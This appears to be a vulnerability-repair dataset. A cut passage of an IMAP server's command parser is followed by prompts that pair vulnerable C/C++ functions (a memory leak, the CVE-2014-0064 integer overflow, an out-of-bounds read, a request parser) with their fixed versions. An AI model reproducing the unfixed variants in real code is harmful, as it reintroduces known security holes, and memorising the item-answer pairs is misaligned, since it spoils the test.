&arg1); if (c == '\r') goto missingargs; if (c != ' ' || !imparse_issequence(arg1.s)) goto badsequence; c = getastring(imapd_in, imapd_out, &arg2); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_copy(tag.s, arg1.s, arg2.s, usinguid, /*ismove*/1); snmp_increment(COPY_COUNT, 1); } else goto badcmd; break; case 'N': if (!strcmp(cmd.s, "Noop")) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_noop(tag.s, cmd.s); /* xxxx snmp_increment(NOOP_COUNT, 1); */ } else if (!imapd_userid) goto nologin; else if (!strcmp(cmd.s, "Namespace")) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_namespace(tag.s); /* xxxx snmp_increment(NAMESPACE_COUNT, 1); */ } else goto badcmd; break; case 'R': if (!strcmp(cmd.s, "Rename")) { havepartition = 0; if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == EOF) goto missingargs; if (c == ' ') { havepartition = 1; c = getword(imapd_in, &arg3); if (!imparse_isatom(arg3.s)) goto badpartition; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_rename(tag.s, arg1.s, arg2.s, havepartition ? arg3.s : 0); /* xxxx snmp_increment(RENAME_COUNT, 1); */ } else if(!strcmp(cmd.s, "Reconstruct")) { recursive = 0; if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if(c == ' ') { /* Optional RECURSEIVE argument */ c = getword(imapd_in, &arg2); if(!imparse_isatom(arg2.s)) goto extraargs; else if(!strcasecmp(arg2.s, "RECURSIVE")) recursive = 1; else goto extraargs; } if(c == '\r') c = prot_getc(imapd_in); if(c != '\n') goto extraargs; cmd_reconstruct(tag.s, arg1.s, recursive); /* snmp_increment(RECONSTRUCT_COUNT, 1); */ } else if (!strcmp(cmd.s, "Rlist")) { struct listargs listargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.sel = LIST_SEL_REMOTE; listargs.ret = LIST_RET_CHILDREN; listargs.ref = arg1.s; strarray_append(&listargs.pat, arg2.s); cmd_list(tag.s, &listargs); /* snmp_increment(LIST_COUNT, 1); */ } else if (!strcmp(cmd.s, "Rlsub")) { struct listargs listargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.cmd = LIST_CMD_LSUB; listargs.sel = LIST_SEL_REMOTE | LIST_SEL_SUBSCRIBED; listargs.ref = arg1.s; strarray_append(&listargs.pat, arg2.s); cmd_list(tag.s, &listargs); /* snmp_increment(LSUB_COUNT, 1); */ } #ifdef HAVE_SSL else if (!strcmp(cmd.s, "Resetkey")) { int have_mbox = 0, have_mech = 0; if (c == ' ') { have_mbox = 1; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == ' ') { have_mech = 1; c = getword(imapd_in, &arg2); } } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_resetkey(tag.s, have_mbox ? arg1.s : 0, have_mech ? arg2.s : 0); /* snmp_increment(RESETKEY_COUNT, 1);*/ } #endif else goto badcmd; break; case 'S': if (!strcmp(cmd.s, "Starttls")) { if (!tls_enabled()) { /* we don't support starttls */ goto badcmd; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; /* XXX discard any input pipelined after STARTTLS */ prot_flush(imapd_in); /* if we've already done SASL fail */ if (imapd_userid != NULL) { prot_printf(imapd_out, "%s BAD Can't Starttls after authentication\r\n", tag.s); continue; } /* if we've already done COMPRESS fail */ if (imapd_compress_done == 1) { prot_printf(imapd_out, "%s BAD Can't Starttls after Compress\r\n", tag.s); continue; } /* check if already did a successful tls */ if (imapd_starttls_done == 1) { prot_printf(imapd_out, "%s BAD Already did a successful Starttls\r\n", tag.s); continue; } cmd_starttls(tag.s, 0); snmp_increment(STARTTLS_COUNT, 1); continue; } if (!imapd_userid) { goto nologin; } else if (!strcmp(cmd.s, "Store")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; store: c = getword(imapd_in, &arg1); if (c != ' ' || !imparse_issequence(arg1.s)) goto badsequence; cmd_store(tag.s, arg1.s, usinguid); snmp_increment(STORE_COUNT, 1); } else if (!strcmp(cmd.s, "Select")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; prot_ungetc(c, imapd_in); cmd_select(tag.s, cmd.s, arg1.s); snmp_increment(SELECT_COUNT, 1); } else if (!strcmp(cmd.s, "Search")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; search: cmd_search(tag.s, usinguid); snmp_increment(SEARCH_COUNT, 1); } else if (!strcmp(cmd.s, "Subscribe")) { if (c != ' ') goto missingargs; havenamespace = 0; c = getastring(imapd_in, imapd_out, &arg1); if (c == ' ') { havenamespace = 1; c = getastring(imapd_in, imapd_out, &arg2); } if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; if (havenamespace) { cmd_changesub(tag.s, arg1.s, arg2.s, 1); } else { cmd_changesub(tag.s, (char *)0, arg1.s, 1); } snmp_increment(SUBSCRIBE_COUNT, 1); } else if (!strcmp(cmd.s, "Setacl")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg3); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_setacl(tag.s, arg1.s, arg2.s, arg3.s); snmp_increment(SETACL_COUNT, 1); } else if (!strcmp(cmd.s, "Setannotation")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_setannotation(tag.s, arg1.s); snmp_increment(SETANNOTATION_COUNT, 1); } else if (!strcmp(cmd.s, "Setmetadata")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_setmetadata(tag.s, arg1.s); snmp_increment(SETANNOTATION_COUNT, 1); } else if (!strcmp(cmd.s, "Setquota")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_setquota(tag.s, arg1.s); snmp_increment(SETQUOTA_COUNT, 1); } else if (!strcmp(cmd.s, "Sort")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; sort: cmd_sort(tag.s, usinguid); snmp_increment(SORT_COUNT, 1); } else if (!strcmp(cmd.s, "Status")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_status(tag.s, arg1.s); snmp_increment(STATUS_COUNT, 1); } else if (!strcmp(cmd.s, "Scan")) { struct listargs listargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg3); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.ref = arg1.s; strarray_append(&listargs.pat, arg2.s); listargs.scan = arg3.s; cmd_list(tag.s, &listargs); snmp_increment(SCAN_COUNT, 1); } else if (!strcmp(cmd.s, "Syncapply")) { if (!imapd_userisadmin) goto badcmd; struct dlist *kl = sync_parseline(imapd_in); if (kl) { cmd_syncapply(tag.s, kl, reserve_list); dlist_free(&kl); } else goto extraargs; } else if (!strcmp(cmd.s, "Syncget")) { if (!imapd_userisadmin) goto badcmd; struct dlist *kl = sync_parseline(imapd_in); if (kl) { cmd_syncget(tag.s, kl); dlist_free(&kl); } else goto extraargs; } else if (!strcmp(cmd.s, "Syncrestart")) { if (!imapd_userisadmin) goto badcmd; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; /* just clear the GUID cache */ cmd_syncrestart(tag.s, &reserve_list, 1); } else if (!strcmp(cmd.s, "Syncrestore")) { if (!imapd_userisadmin) goto badcmd; struct dlist *kl = sync_parseline(imapd_in); if (kl) { cmd_syncrestore(tag.s, kl, reserve_list); dlist_free(&kl); } else goto extraargs; } else goto badcmd; break; case 'T': if (!strcmp(cmd.s, "Thread")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; thread: cmd_thread(tag.s, usinguid); snmp_increment(THREAD_COUNT, 1); } else goto badcmd; break; case 'U': if (!strcmp(cmd.s, "Uid")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 1; if (c != ' ') goto missingargs; c = getword(imapd_in, &arg1); if (c != ' ') goto missingargs; lcase(arg1.s); xstrncpy(cmdname, arg1.s, 99); if (!strcmp(arg1.s, "fetch")) { goto fetch; } else if (!strcmp(arg1.s, "store")) { goto store; } else if (!strcmp(arg1.s, "search")) { goto search; } else if (!strcmp(arg1.s, "sort")) { goto sort; } else if (!strcmp(arg1.s, "thread")) { goto thread; } else if (!strcmp(arg1.s, "copy")) { goto copy; } else if (!strcmp(arg1.s, "move")) { goto move; } else if (!strcmp(arg1.s, "xmove")) { goto move; } else if (!strcmp(arg1.s, "expunge")) { c = getword(imapd_in, &arg1); if (!imparse_issequence(arg1.s)) goto badsequence; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_expunge(tag.s, arg1.s); snmp_increment(EXPUNGE_COUNT, 1); } else if (!strcmp(arg1.s, "xrunannotator")) { goto xrunannotator; } else { prot_printf(imapd_out, "%s BAD Unrecognized UID subcommand\r\n", tag.s); eatline(imapd_in, c); } } else if (!strcmp(cmd.s, "Unsubscribe")) { if (c != ' ') goto missingargs; havenamespace = 0; c = getastring(imapd_in, imapd_out, &arg1); if (c == ' ') { havenamespace = 1; c = getastring(imapd_in, imapd_out, &arg2); } if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; if (havenamespace) { cmd_changesub(tag.s, arg1.s, arg2.s, 0); } else { cmd_changesub(tag.s, (char *)0, arg1.s, 0); } snmp_increment(UNSUBSCRIBE_COUNT, 1); } else if (!strcmp(cmd.s, "Unselect")) { if (!imapd_index && !backend_current) goto nomailbox; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_close(tag.s, cmd.s); snmp_increment(UNSELECT_COUNT, 1); } else if (!strcmp(cmd.s, "Undump")) { if(c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); /* we want to get a list at this point */ if(c != ' ') goto missingargs; cmd_undump(tag.s, arg1.s); /* snmp_increment(UNDUMP_COUNT, 1);*/ } #ifdef HAVE_SSL else if (!strcmp(cmd.s, "Urlfetch")) { if (c != ' ') goto missingargs; cmd_urlfetch(tag.s); /* snmp_increment(URLFETCH_COUNT, 1);*/ } #endif else goto badcmd; break; case 'X': if (!strcmp(cmd.s, "Xbackup")) { int havechannel = 0; if (!config_getswitch(IMAPOPT_XBACKUP_ENABLED)) goto badcmd; /* user */ if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); /* channel */ if (c == ' ') { havechannel = 1; c = getword(imapd_in, &arg2); if (c == EOF) goto missingargs; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_xbackup(tag.s, arg1.s, havechannel ? arg2.s : NULL); } else if (!strcmp(cmd.s, "Xconvfetch")) { cmd_xconvfetch(tag.s); } else if (!strcmp(cmd.s, "Xconvmultisort")) { if (c != ' ') goto missingargs; if (!imapd_index && !backend_current) goto nomailbox; cmd_xconvmultisort(tag.s); } else if (!strcmp(cmd.s, "Xconvsort")) { if (c != ' ') goto missingargs; if (!imapd_index && !backend_current) goto nomailbox; cmd_xconvsort(tag.s, 0); } else if (!strcmp(cmd.s, "Xconvupdates")) { if (c != ' ') goto missingargs; if (!imapd_index && !backend_current) goto nomailbox; cmd_xconvsort(tag.s, 1); } else if (!strcmp(cmd.s, "Xfer")) { int havepartition = 0; /* Mailbox */ if(c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); /* Dest Server */ if(c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if(c == ' ') { /* Dest Partition */ c = getastring(imapd_in, imapd_out, &arg3); if (!imparse_isatom(arg3.s)) goto badpartition; havepartition = 1; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_xfer(tag.s, arg1.s, arg2.s, (havepartition ? arg3.s : NULL)); /* snmp_increment(XFER_COUNT, 1);*/ } else if (!strcmp(cmd.s, "Xconvmeta")) { cmd_xconvmeta(tag.s); } else if (!strcmp(cmd.s, "Xlist")) { struct listargs listargs; if (c != ' ') goto missingargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.cmd = LIST_CMD_XLIST; listargs.ret = LIST_RET_CHILDREN | LIST_RET_SPECIALUSE; getlistargs(tag.s, &listargs); if (listargs.pat.count) cmd_list(tag.s, &listargs); snmp_increment(LIST_COUNT, 1); } else if (!strcmp(cmd.s, "Xmove")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; goto move; } else if (!strcmp(cmd.s, "Xrunannotator")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; xrunannotator: c = getword(imapd_in, &arg1); if (!arg1.len || !imparse_issequence(arg1.s)) goto badsequence; cmd_xrunannotator(tag.s, arg1.s, usinguid); } else if (!strcmp(cmd.s, "Xsnippets")) { if (c != ' ') goto missingargs; if (!imapd_index && !backend_current) goto nomailbox; cmd_xsnippets(tag.s); } else if (!strcmp(cmd.s, "Xstats")) { cmd_xstats(tag.s, c); } else if (!strcmp(cmd.s, "Xwarmup")) { /* XWARMUP doesn't need a mailbox to be selected */ if (c != ' ') goto missingargs; cmd_xwarmup(tag.s); } else if (!strcmp(cmd.s, "Xkillmy")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_xkillmy(tag.s, arg1.s); } else if (!strcmp(cmd.s, "Xforever")) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_xforever(tag.s); } else if (!strcmp(cmd.s, "Xmeid")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_xmeid(tag.s, arg1.s); } else if (apns_enabled && !strcmp(cmd.s, "Xapplepushservice")) { if (c != ' ') goto missingargs; memset(&applepushserviceargs, 0, sizeof(struct applepushserviceargs)); do { c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto aps_missingargs; if (!strcmp(arg1.s, "mailboxes")) { c = prot_getc(imapd_in); if (c != '(') goto aps_missingargs; c = prot_getc(imapd_in); if (c != ')') { prot_ungetc(c, imapd_in); do { c = getastring(imapd_in, imapd_out, &arg2); if (c == EOF) break; strarray_push(&applepushserviceargs.mailboxes, arg2.s); } while (c == ' '); } if (c != ')') goto aps_missingargs; c = prot_getc(imapd_in); } else { c = getastring(imapd_in, imapd_out, &arg2); if (!strcmp(arg1.s, "aps-version")) { if (!imparse_isnumber(arg2.s)) goto aps_extraargs; applepushserviceargs.aps_version = atoi(arg2.s); } else if (!strcmp(arg1.s, "aps-account-id")) buf_copy(&applepushserviceargs.aps_account_id, &arg2); else if (!strcmp(arg1.s, "aps-device-token")) buf_copy(&applepushserviceargs.aps_device_token, &arg2); else if (!strcmp(arg1.s, "aps-subtopic")) buf_copy(&applepushserviceargs.aps_subtopic, &arg2); else goto aps_extraargs; } } while (c == ' '); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto aps_extraargs; cmd_xapplepushservice(tag.s, &applepushserviceargs); } else goto badcmd; break; default: badcmd: prot_printf(imapd_out, "%s BAD Unrecognized command\r\n", tag.s); eatline(imapd_in, c); } /* End command timer - don't log "idle" commands */ if (commandmintimer && strcmp("idle", cmdname)) { double cmdtime, nettime; const char *mboxname = index_mboxname(imapd_index); if (!mboxname) mboxname = "<none>"; cmdtime_endtimer(&cmdtime, &nettime); if (cmdtime >= commandmintimerd) { syslog(LOG_NOTICE, "cmdtimer: '%s' '%s' '%s' '%f' '%f' '%f'", imapd_userid ? imapd_userid : "<none>", cmdname, mboxname, cmdtime, nettime, cmdtime + nettime); } } continue; nologin: prot_printf(imapd_out, "%s BAD Please login first\r\n", tag.s); eatline(imapd_in, c); continue; nomailbox: prot_printf(imapd_out, "%s BAD Please select a mailbox first\r\n", tag.s); eatline(imapd_in, c); continue; aps_missingargs: buf_free(&applepushserviceargs.aps_account_id); buf_free(&applepushserviceargs.aps_device_token); buf_free(&applepushserviceargs.aps_subtopic); strarray_fini(&applepushserviceargs.mailboxes); missingargs: prot_printf(imapd_out, "%s BAD Missing required argument to %s\r\n", tag.s, cmd.s); eatline(imapd_in, c); continue; aps_extraargs: buf_free(&applepushserviceargs.aps_account_id); buf_free(&applepushserviceargs.aps_device_token); buf_free(&applepushserviceargs.aps_subtopic); strarray_fini(&applepushserviceargs.mailboxes); extraargs: prot_printf(imapd_out, "%s BAD Unexpected extra arguments to %s\r\n", tag.s, cmd.s); eatline(imapd_in, c); continue; badsequence: prot_printf(imapd_out, "%s BAD Invalid sequence in %s\r\n", tag.s, cmd.s); eatline(imapd_in, c); continue; badpartition: prot_printf(imapd_out, "%s BAD Invalid partition name in %s\r\n", tag.s, cmd.s); eatline(imapd_in, c); continue; } done: cmd_syncrestart(NULL, &reserve_list, 0); }
170,036
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void ahci_uninit(AHCIState *s) { g_free(s->dev); } Commit Message: CWE ID: CWE-772
void ahci_uninit(AHCIState *s) { int i, j; for (i = 0; i < s->ports; i++) { AHCIDevice *ad = &s->dev[i]; for (j = 0; j < 2; j++) { IDEState *s = &ad->port.ifs[j]; ide_exit(s); } } g_free(s->dev); }
164,797
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: hstore_from_array(PG_FUNCTION_ARGS) { ArrayType *in_array = PG_GETARG_ARRAYTYPE_P(0); int ndims = ARR_NDIM(in_array); int count; int32 buflen; HStore *out; Pairs *pairs; Datum *in_datums; bool *in_nulls; int in_count; int i; Assert(ARR_ELEMTYPE(in_array) == TEXTOID); switch (ndims) { case 0: out = hstorePairs(NULL, 0, 0); PG_RETURN_POINTER(out); case 1: if ((ARR_DIMS(in_array)[0]) % 2) ereport(ERROR, (errcode(ERRCODE_ARRAY_SUBSCRIPT_ERROR), errmsg("array must have even number of elements"))); break; case 2: if ((ARR_DIMS(in_array)[1]) != 2) ereport(ERROR, (errcode(ERRCODE_ARRAY_SUBSCRIPT_ERROR), errmsg("array must have two columns"))); break; default: ereport(ERROR, (errcode(ERRCODE_ARRAY_SUBSCRIPT_ERROR), errmsg("wrong number of array subscripts"))); } deconstruct_array(in_array, TEXTOID, -1, false, 'i', &in_datums, &in_nulls, &in_count); count = in_count / 2; pairs = palloc(count * sizeof(Pairs)); for (i = 0; i < count; ++i) { if (in_nulls[i * 2]) ereport(ERROR, (errcode(ERRCODE_NULL_VALUE_NOT_ALLOWED), errmsg("null value not allowed for hstore key"))); if (in_nulls[i * 2 + 1]) { pairs[i].key = VARDATA_ANY(in_datums[i * 2]); pairs[i].val = NULL; pairs[i].keylen = hstoreCheckKeyLen(VARSIZE_ANY_EXHDR(in_datums[i * 2])); pairs[i].vallen = 4; pairs[i].isnull = true; pairs[i].needfree = false; } else { pairs[i].key = VARDATA_ANY(in_datums[i * 2]); pairs[i].val = VARDATA_ANY(in_datums[i * 2 + 1]); pairs[i].keylen = hstoreCheckKeyLen(VARSIZE_ANY_EXHDR(in_datums[i * 2])); pairs[i].vallen = hstoreCheckValLen(VARSIZE_ANY_EXHDR(in_datums[i * 2 + 1])); pairs[i].isnull = false; pairs[i].needfree = false; } } count = hstoreUniquePairs(pairs, count, &buflen); out = hstorePairs(pairs, count, buflen); PG_RETURN_POINTER(out); } Commit Message: Predict integer overflow to avoid buffer overruns. Several functions, mostly type input functions, calculated an allocation size such that the calculation wrapped to a small positive value when arguments implied a sufficiently-large requirement. Writes past the end of the inadvertent small allocation followed shortly thereafter. Coverity identified the path_in() vulnerability; code inspection led to the rest. In passing, add check_stack_depth() to prevent stack overflow in related functions. Back-patch to 8.4 (all supported versions). The non-comment hstore changes touch code that did not exist in 8.4, so that part stops at 9.0. Noah Misch and Heikki Linnakangas, reviewed by Tom Lane. Security: CVE-2014-0064 CWE ID: CWE-189
hstore_from_array(PG_FUNCTION_ARGS) { ArrayType *in_array = PG_GETARG_ARRAYTYPE_P(0); int ndims = ARR_NDIM(in_array); int count; int32 buflen; HStore *out; Pairs *pairs; Datum *in_datums; bool *in_nulls; int in_count; int i; Assert(ARR_ELEMTYPE(in_array) == TEXTOID); switch (ndims) { case 0: out = hstorePairs(NULL, 0, 0); PG_RETURN_POINTER(out); case 1: if ((ARR_DIMS(in_array)[0]) % 2) ereport(ERROR, (errcode(ERRCODE_ARRAY_SUBSCRIPT_ERROR), errmsg("array must have even number of elements"))); break; case 2: if ((ARR_DIMS(in_array)[1]) != 2) ereport(ERROR, (errcode(ERRCODE_ARRAY_SUBSCRIPT_ERROR), errmsg("array must have two columns"))); break; default: ereport(ERROR, (errcode(ERRCODE_ARRAY_SUBSCRIPT_ERROR), errmsg("wrong number of array subscripts"))); } deconstruct_array(in_array, TEXTOID, -1, false, 'i', &in_datums, &in_nulls, &in_count); count = in_count / 2; /* see discussion in hstoreArrayToPairs() */ if (count > MaxAllocSize / sizeof(Pairs)) ereport(ERROR, (errcode(ERRCODE_PROGRAM_LIMIT_EXCEEDED), errmsg("number of pairs (%d) exceeds the maximum allowed (%d)", count, (int) (MaxAllocSize / sizeof(Pairs))))); pairs = palloc(count * sizeof(Pairs)); for (i = 0; i < count; ++i) { if (in_nulls[i * 2]) ereport(ERROR, (errcode(ERRCODE_NULL_VALUE_NOT_ALLOWED), errmsg("null value not allowed for hstore key"))); if (in_nulls[i * 2 + 1]) { pairs[i].key = VARDATA_ANY(in_datums[i * 2]); pairs[i].val = NULL; pairs[i].keylen = hstoreCheckKeyLen(VARSIZE_ANY_EXHDR(in_datums[i * 2])); pairs[i].vallen = 4; pairs[i].isnull = true; pairs[i].needfree = false; } else { pairs[i].key = VARDATA_ANY(in_datums[i * 2]); pairs[i].val = VARDATA_ANY(in_datums[i * 2 + 1]); pairs[i].keylen = hstoreCheckKeyLen(VARSIZE_ANY_EXHDR(in_datums[i * 2])); pairs[i].vallen = hstoreCheckValLen(VARSIZE_ANY_EXHDR(in_datums[i * 2 + 1])); pairs[i].isnull = false; pairs[i].needfree = false; } } count = hstoreUniquePairs(pairs, count, &buflen); out = hstorePairs(pairs, count, buflen); PG_RETURN_POINTER(out); }
166,396
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static void ConvertLoopSlice(ModSample &src, ModSample &dest, SmpLength start, SmpLength len, bool loop) { if(!src.HasSampleData()) return; dest.FreeSample(); dest = src; dest.nLength = len; dest.pSample = nullptr; if(!dest.AllocateSample()) { return; } if(len != src.nLength) MemsetZero(dest.cues); std::memcpy(dest.pSample8, src.pSample8 + start, len); dest.uFlags.set(CHN_LOOP, loop); if(loop) { dest.nLoopStart = 0; dest.nLoopEnd = len; } else { dest.nLoopStart = 0; dest.nLoopEnd = 0; } } Commit Message: [Fix] STP: Possible out-of-bounds memory read with malformed STP files (caught with afl-fuzz). git-svn-id: https://source.openmpt.org/svn/openmpt/trunk/OpenMPT@9567 56274372-70c3-4bfc-bfc3-4c3a0b034d27 CWE ID: CWE-125
static void ConvertLoopSlice(ModSample &src, ModSample &dest, SmpLength start, SmpLength len, bool loop) { if(!src.HasSampleData() || start >= src.nLength || src.nLength - start < len) { return; } dest.FreeSample(); dest = src; dest.nLength = len; dest.pSample = nullptr; if(!dest.AllocateSample()) { return; } if(len != src.nLength) MemsetZero(dest.cues); std::memcpy(dest.pSample8, src.pSample8 + start, len); dest.uFlags.set(CHN_LOOP, loop); if(loop) { dest.nLoopStart = 0; dest.nLoopEnd = len; } else { dest.nLoopStart = 0; dest.nLoopEnd = 0; } }
169,338
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: bool ParseRequestInfo(const struct mg_request_info* const request_info, std::string* method, std::vector<std::string>* path_segments, DictionaryValue** parameters, Response* const response) { *method = request_info->request_method; if (*method == "HEAD") *method = "GET"; else if (*method == "PUT") *method = "POST"; std::string uri(request_info->uri); SessionManager* manager = SessionManager::GetInstance(); uri = uri.substr(manager->url_base().length()); base::SplitString(uri, '/', path_segments); if (*method == "POST" && request_info->post_data_len > 0) { VLOG(1) << "...parsing request body"; std::string json(request_info->post_data, request_info->post_data_len); std::string error; if (!ParseJSONDictionary(json, parameters, &error)) { response->SetError(new Error( kBadRequest, "Failed to parse command data: " + error + "\n Data: " + json)); return false; } } VLOG(1) << "Parsed " << method << " " << uri << std::string(request_info->post_data, request_info->post_data_len); return true; } Commit Message: In chromedriver, add /log url to get the contents of the chromedriver log remotely. Also add a 'chrome.verbose' boolean startup option. Remove usage of VLOG(1) in chromedriver. We do not need as complicated logging as in Chrome. BUG=85241 TEST=none Review URL: http://codereview.chromium.org/7104085 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@88591 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-399
bool ParseRequestInfo(const struct mg_request_info* const request_info, std::string* method, std::vector<std::string>* path_segments, DictionaryValue** parameters, Response* const response) { *method = request_info->request_method; if (*method == "HEAD") *method = "GET"; else if (*method == "PUT") *method = "POST"; std::string uri(request_info->uri); SessionManager* manager = SessionManager::GetInstance(); uri = uri.substr(manager->url_base().length()); base::SplitString(uri, '/', path_segments); if (*method == "POST" && request_info->post_data_len > 0) { std::string json(request_info->post_data, request_info->post_data_len); std::string error_msg; scoped_ptr<Value> params(base::JSONReader::ReadAndReturnError( json, true, NULL, &error_msg)); if (!params.get()) { response->SetError(new Error( kBadRequest, "Failed to parse command data: " + error_msg + "\n Data: " + json)); return false; } if (!params->IsType(Value::TYPE_DICTIONARY)) { response->SetError(new Error( kBadRequest, "Data passed in URL must be a dictionary. Data: " + json)); return false; } *parameters = static_cast<DictionaryValue*>(params.release()); } return true; }
170,456